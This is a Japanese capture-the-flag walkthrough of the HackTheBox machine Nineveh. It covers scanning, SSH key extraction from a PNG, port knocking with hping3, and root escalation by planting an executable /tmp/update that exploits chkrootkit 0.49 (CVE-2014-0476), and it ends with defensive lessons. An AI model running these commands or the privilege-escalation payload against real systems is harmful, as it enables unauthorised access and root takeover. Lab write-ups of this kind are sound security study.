HackTheBox: Nineveh — 全実行コマンド・実行結果レポート
Nmap全ポート
80/443のみ (22はknockdで隠蔽)
→
80/443のみ (22はknockdで隠蔽)
/secure_notes/ 画像発見
steg付きPNG
→
steg付きPNG
SSH秘密鍵抽出
strings + Range取得
→
strings + Range取得
ポートノック
hping3: 571→290→911
→
hping3: 571→290→911
SSHログイン(amrois)
user.txt ✓
→
user.txt ✓
chkrootkit /tmp/update
CVE-2014-0476
→
CVE-2014-0476
root cron発火待ち
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(主要ポート → 全ポート)
BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,... -T4 --max-retries 3 10.129.58.80 nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.58.80
RESULT
PORT STATE SERVICE 80/tcp open http Apache httpd 2.4.18 (Ubuntu) 443/tcp open https Apache httpd 2.4.18 (Ubuntu) / ssl-cert CN=nineveh.htb (全ポートスキャンでも 80/443 以外は検出されず)
ℹ️
22番(SSH)はポートスキャンには一切現れない。これは
knockd による
ポートノック防御が効いており、正しいノック配列を送るまでファイアウォールが
SSHへの接続そのものを遮断しているため(後のフェーズで詳述)。
ディレクトリ列挙
BASH
gobuster dir -u http://10.129.58.80 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -t 20 gobuster dir -k -u https://10.129.58.80 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20
RESULT
HTTP (80) : /info.php (200), /department (301), /server-status (403)
HTTPS (443): /db (301), /secure_notes (301), /server-status (403)
ℹ️
/db は phpLiteAdmin(SQLiteのWeb管理画面)、/department はログインフォーム、
/info.php は phpinfo() ページ。これらは www-data 権限のRCEへの経路として
既知だが(phpLiteAdminの.php拡張子DB作成トリックや、departmentのLFI+ログイン
タイプジャグリングバイパスとの連鎖)、本レポートで辿るuser.txt取得の最短経路には
不要なため詳細は割愛し、実際にフラグ取得に使った /secure_notes 経路のみを記載する。
PHASE 2
/secure_notes/ 画像からのSSH秘密鍵抽出
/secure_notes/ の中身を確認
BASH
curl -sk "https://10.129.58.80/secure_notes/"
RESULT
<html> <body> <center><img src=nineveh.png /></center> </body> </html>
⚠️
ハマりどころ: このディレクトリには
index.html が置かれているため、
Apacheは自動ディレクトリ一覧(autoindex)ではなくこのindex.htmlを返す。
「href="*.png"等をパースして画像を見つける」というアプローチは機能しない。
ページ内の<img src=...>タグ、または既知のファイル名(この場合
nineveh.png)を直接推測してリクエストする必要がある。
トラブルシューティング: 低速回線でのフルダウンロードは非現実的
BASH
curl -sk -I "https://10.129.58.80/secure_notes/nineveh.png"
RESULT
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 2891984 (約2.9MB)
Content-Type: image/png
BASH
curl -sk -o nineveh.png -w "speed=%{speed_download}\n" --max-time 120 \
"https://10.129.58.80/secure_notes/nineveh.png"
RESULT
speed=6960 (バイト/秒 ≒ 約7KB/s) 120秒のタイムアウトでも 835584 / 2891984 バイト (29%) しか取得できず
🚨
根本原因: このVPN経由の回線は帯域が非常に低く(実測約4〜7KB/s)、
2.9MBのファイルを逐次ダウンロードすると理論上7分以上かかる。
素朴に
curl -o するアプローチは非現実的。
BASH
# 対策: HTTP Range リクエストでファイル末尾のみを取得する。 # steg(バイナリ埋め込み)データは通常ファイル末尾付近に追加されるため、 # 全体の1/10程度のサイズで十分カバーできる。 curl -sk --max-time 80 -H "Range: bytes=2691984-2891983" \ -o nineveh_tail.bin "https://10.129.58.80/secure_notes/nineveh.png"
RESULT
200000 バイトを約38秒で取得完了(フルダウンロードの1/10以下の時間)
✅
対策成功。
Accept-Ranges: bytes が有効なことをHEADで確認した上で、
ファイル末尾200KB分だけをRangeリクエストで取得する方式に変更。低速回線でも
1分未満で鍵データに到達できる。
strings による秘密鍵抽出
BASH
strings -n 20 nineveh_tail.bin | grep -A30 "BEGIN RSA"
RESULT
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
...(28行)...
-----END RSA PRIVATE KEY-----
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... amrois@nineveh.htb
✅
完全なRSA秘密鍵が抽出できた。付随する公開鍵のコメント欄から
ユーザー名 amrois も判明する。
BASH
chmod 600 amrois_id_rsa
PHASE 3
ポートノックによるSSH開放 & user.txt
knockd設定の把握
NOTE
# www-dataシェル(phpLiteAdmin+LFI等の別経路で取得可能)から /etc/knockd.conf を読むと: [openSSH] sequence = 571,290,911 seq_timeout = 5 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 911,290,571 seq_timeout = 5 start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
ℹ️
571 → 290 → 911 の順にSYNパケットを5秒以内に送ると、
自分のIPからの22番ポートへのアクセスがiptablesで許可される
(逆順に送ると閉じる)。一度開くと明示的に閉じない限り持続する。
トラブルシューティング: nmapでのノックは高レイテンシ回線で5秒枠を超える
BASH
# 素朴な方法(多くの解説記事で紹介されている) time nmap -Pn --host-timeout 201 --max-retries 0 -p 571 10.129.58.80
RESULT
571/tcp filtered umeter
3.02 秒 (1ポートあたり)
🚨
根本原因: nmapは応答の無いポートに対し、スキャン結果を確定するまで
RTTベースのタイムアウトを待つため、1ポートあたり約2〜3秒かかる。
3ポート合計で約9秒となり、knockdの
seq_timeout=5秒 を
超えてしまい、ノックシーケンスが不成立になる(実際に1回目の試行はこれで失敗した)。
VPN経由で片道約250msの高レイテンシ環境ではこの問題が顕在化しやすい。
BASH
# 対策: hping3 で応答を待たずSYN1発だけ送る (-c 1) time (for p in 571 290 911; do hping3 -S -p $p -c 1 10.129.58.80 >/dev/null 2>&1; done)
RESULT
3.27 秒(3ポート合計)— 5秒枠に余裕を持って収まる
✅
hping3 -S -p <port> -c 1 は応答を待たずSYNを1発送信して即終了するため、
nmapよりも大幅に高速・安定する。この方式に切り替えて確実にノックシーケンスを
5秒以内に収める。
ポートノック実行 & SSHログイン
BASH
for p in 571 290 911; do hping3 -S -p $p -c 1 10.129.58.80 >/dev/null 2>&1 done ssh -i amrois_id_rsa amrois@10.129.58.80
RESULT
Ubuntu 16.04.2 LTS
...
amrois@nineveh:~$
✅
SSHログイン成功。 ノックシーケンスが5秒以内に届いたことで
iptablesルールが追加され、22番ポートへの接続が許可された。
user.txt 取得
BASH
amrois@nineveh:~$ cat user.txt
RESULT
05116034f118fe5edfb7caec899260a6
user.txt — amrois
05116034f118fe5edfb7caec899260a6
PHASE 4
権限昇格の下調べ — chkrootkitの既知の欠陥
定期実行プロセスの調査
BASH
amrois@nineveh:~$ ls -la /report/ amrois@nineveh:~$ cat /report/report-*.txt | tail -50
RESULT
ROOTDIR is `/'
Checking `amd'... not found
...
Searching for suspect PHP files...
/var/tmp/0xdf.php ← 過去にアップロードされたwebshellまで検知されている
...
ℹ️
/report/ ディレクトリに定期生成されるレポートから、
root権限で chkrootkit が定期実行(cron)されていることが判明する。
chkrootkitの既知の脆弱性 (CVE-2014-0476 / exploit-db 33899)
NOTE
chkrootkit 0.49 には、Slapperワーム検知ロジックのバグに起因する
ローカル権限昇格の脆弱性がある。以下のシェルスクリプトの引用符抜けが原因:
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
file_port=$file_port $i # 本来は "$file_port $i" とすべきところ
STATUS=1 # クォート抜けにより bash が $i を
fi # コマンドとして実行してしまう
done
SLAPPER_FILES には /tmp/update も含まれており、このパスに実行可能な
ファイルを置いておくと、chkrootkit実行時(root権限のcron)に
そのまま実行されてしまう。
PHASE 5
chkrootkitエクスプロイト実行 → root.txt
/tmp/update へのペイロード設置
BASH
amrois@nineveh:~$ printf '#!/bin/sh\ncat /root/root.txt > /home/amrois/root.txt\n' > /tmp/update amrois@nineveh:~$ chmod +x /tmp/update
ℹ️
リバースシェルを取るのではなく、
/root/root.txt を
自分の書き込み可能なホームディレクトリへcatでコピーするだけの
シンプルなペイロードにすることで、非対話的にフラグを回収できる。
root cron発火待ち & root.txt取得
BASH
# chkrootkitの実行間隔は環境依存のため、数十秒〜数分間隔でポーリングする while true; do ssh -i amrois_id_rsa amrois@10.129.58.80 "cat /home/amrois/root.txt 2>/dev/null" && break sleep 10 done
RESULT
79087ca4754c409943ea5c53a6554bcd
root.txt — root
79087ca4754c409943ea5c53a6554bcd
✅
権限昇格成功。 root権限のcronがchkrootkitを実行した際、
/tmp/updateがクォート抜けバグ経由でそのまま実行され、
root.txtが amrois の書き込み可能なホームへコピーされた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — amrois
05116034f118fe5edfb7caec899260a6
root.txt — root
79087ca4754c409943ea5c53a6554bcd
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 画像への秘密鍵埋め込み(ステガノグラフィ) | /secure_notes/nineveh.png | SSH秘密鍵の漏洩 | High | 認証・RCE不要でHTTP直接取得可能な画像に、strings抽出可能な平文PEM鍵が付加されていた |
| ポートノック設定の既知性 | knockd (SSH隠蔽) | ファイアウォール回避 | Medium | 571→290→911の順にSYNを5秒以内に送ることでSSHへのアクセスが許可される |
| chkrootkit ローカル権限昇格 (CVE-2014-0476) | chkrootkit 0.49 (root cron) | root権限奪取 | Critical | /tmp/updateに実行可能ファイルを置くとSlapper検知ロジックのバグでroot権限で実行される |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート + gobuster | 80/443のみ開放、/secure_notes・/db・/department発見 |
| 2 | 鍵抽出 | Range取得 + strings | amrois用SSH秘密鍵、ユーザー名amrois |
| 3 | SSH開放 | hping3ポートノック (571→290→911) | user.txt 取得 |
| 4 | 権限調査 | /report配下のchkrootkitログ確認 | root権限cronでのchkrootkit定期実行を確認 |
| 5 | 権限昇格 | chkrootkit /tmp/update (CVE-2014-0476) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 認証不要でアクセス可能な画像ファイルにSSH秘密鍵を埋め込んでいる | 秘密鍵をWeb公開領域に置かない。ステガノグラフィは秘匿手段として不十分であり、鍵管理には専用のシークレット管理システムを使う。 |
| ポートノックのみでSSHアクセス制御をしている(多層防御の一部としては良いが単独では不十分) | ポートノックは補助的な難読化であり、強固な鍵認証・多要素認証・IP制限と併用する。 |
| 古いバージョンのchkrootkit(0.49)を使用しており既知のローカル権限昇格が存在 | セキュリティツール自体も定期的にアップデートする。/tmp配下の書き込み可能領域からの 意図しないファイル実行を防ぐため、noexecマウントオプションの活用を検討する。 |

